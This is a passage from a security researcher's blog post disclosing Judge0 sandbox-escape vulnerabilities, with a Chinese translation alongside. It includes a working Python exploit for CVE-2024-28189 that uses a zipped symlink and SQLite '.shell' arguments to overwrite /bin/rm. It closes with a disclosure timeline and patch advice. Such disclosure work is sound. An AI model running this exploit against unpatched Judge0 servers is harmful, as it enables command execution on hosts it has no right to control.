# Command to run outside of the sandbox
CMD = "echo SANDBOX ESCAPED > /tmp/poc"

# File on the target to overwrite as a means of getting a sandbox escape
TARGET_FILE = "/bin/rm"

# Helper to create a zipfile with a single symbolic link inside
def create_zipfile_with_link(link_name, link_path):
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
        symlink_file = zipfile.ZipInfo(link_name)
        symlink_file.create_system = 3
        unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
        symlink_file.external_attr = unix_st_mode << 16
        zip_file.writestr(symlink_file, link_path)
    return base64.b64encode(zip_buffer.getvalue()).decode()

# To avoid running into issues with the gsub filter, we will encode the command as hex and decode it using python3.
# Decoding and running with python3 doesn't use the filtered characters: $&;<>|`
hex_payload = CMD.encode().hex()
encoded_command = 'python3 -c __import__("os").system(bytes.fromhex("{}").decode())'.format(hex_payload)
encoded_command = encoded_command.replace("(","\\\\(").replace(")","\\\\)").replace('"','\\\\"')

# Run an initial request that will cause the code to accidentally chown TARGET_FILE.
# Required on v1.13.1 as the code runs as judge0 user, meaning we need to chown to be able to write to TARGET_FILE.
print(requests.post(
    TARGET + "/submissions?wait=true",
    json={
        "source_code": f"mv run runbak; ln -s {TARGET_FILE} run",
        "language_id": 46, # Bash
    },
).json()['stdout'])

# Send the command to write to TARGET_FILE. This will overwrite TARGET_FILE with our sqlite command.
# The sqlite command calls python3, which will execute our CMD.
print(requests.post(
    TARGET + "/submissions?wait=true",
    json={
        "source_code": "NOT IMPORTANT",
        "language_id": 82, # SQLite
        "additional_files": create_zipfile_with_link("run", TARGET_FILE),
        "command_line_arguments": f"-cmd '.shell {encoded_command}'"
    },
).json()['stdout'])

I reported this vulnerability to the developer, and a patch was deployed. CVE-2024-28189 was assigned to this issue.
我向开发人员报告了这个漏洞,并部署了一个补丁。CVE-2024-28189 已分配给此问题。

Further findings 进一步发现

While the issue is no longer exploitable, the root cause of the issue still remains. The application still currently allows arbitrary file write outside of the sandbox. After this I found one more bypass that wrote to /api/tmp/environment, a script automatically run by the application. This issue was then patched in this commit.
虽然该问题不再可利用,但问题的根本原因仍然存在。该应用程序当前仍允许在沙盒之外进行任意文件写入。在此之后,我又发现了一个写入 /api/tmp/environment 的旁路,一个由应用程序自动运行的脚本。然后在此提交中修补了此问题。

While the core arbitrary file write issue remains, it is likely there are other paths to achieve command execution. I raised my concern with Herman, who informed me that it would be better not to make major changes to the codebase if not necessary.
虽然核心任意文件写入问题仍然存在,但可能还有其他途径来实现命令执行。我向 Herman 提出了我的担忧,他告诉我,如果没有必要,最好不要对代码库进行重大更改。

While I’m still not entirely happy with this fix, I can’t find another working proof of concept with the time available to me. In the future I may have another attempt, or maybe someone reading this blog would like to try 😅
虽然我仍然对这个修复程序不完全满意,但在我可用的时间里,我找不到另一个工作的概念证明。将来我可能会再尝试一次,或者阅读此博客的人想尝试 😅

Shoutouts 呐喊

I would like to shoutout to Herman Zvonimir Došilović who is the developer of Judge0 and helped me to resolve these issues. Herman has a quick response time and was very committed to deploying patches as quickly as possible. It was obvious that Herman cares a lot about application security and the confidentiality of his customers.
我想向 Herman Zvonimir Došilović 大喊大叫,他是 Judge0 的开发者,并帮助我解决了这些问题。Herman 的响应时间很快,并且非常致力于尽快部署补丁。很明显,Herman 非常关心应用程序的安全性和客户的机密性。

I would also like to thank my colleagues at Tanto Security who helped me correctly report and publish this issue.
我还要感谢 Tanto Security 的同事,他们帮助我正确报告和发布了这个问题。

Timeline 时间线

Date (D/M/Y) Milestone
4/3/2024 CVE-2024-28185 reported to Judge0 developer
CVE-2024-28185 已报告给 Judge0 开发人员
6/3/2024 Vulnerability patched by developer
开发人员修补的漏洞
8/3/2024 Patch bypass (CVE-2024-28189) found and reported
发现并报告了修补程序绕过 (CVE-2024-28189)
9/3/2024 CVE-2024-28189 vulnerability patched
CVE-2024-28189 漏洞已修补
10/3/2024 Bypass using /api/tmp/environment patched
使用 /api/tmp/environment 修补绕过
19/3/2024 CVE-2024-29021 reported to Judge0 developer
CVE-2024-29021 已报告给 Judge0 开发人员
18/4/2024 CVE-2024-29021 patched CVE-2024-29021 已修补
18/4/2024 Public disclosure of CVEs and release of patched version
公开披露 CVE 并发布修补版本
29/4/2024 Public release of proof of concepts and exploit scripts
公开发布概念证明和漏洞利用脚本

Conclusion 结论

Whilst I didn’t achieve my goal of being able to perform a sandbox escape using only the source_code parameter, I still discovered a vulnerability that has significant impact to users of Judge0. All the vulnerabilities detailed in this article have been fixed in version v1.13.1. If you are using a self hosted Judge0 instance, update to v1.13.1 or higher to be protected against these attacks.
虽然我没有实现仅使用 source_code 参数执行沙盒逃逸的目标,但我仍然发现了一个对 Judge0 用户有重大影响的漏洞。本文中详述的所有漏洞均已在版本 v1.13.1 中修复。如果您使用的是自托管 Judge0 实例,请更新到 v1.13.1 或更高版本,以防范这些攻击。

原文始发于Daniel Cooper:Judge0 Sandbox Escape

版权声明:admin 发表于 2024年4月30日 下午3:38。
转载请注明:Judge0 Sandbox Escape | CTF导航

相关文章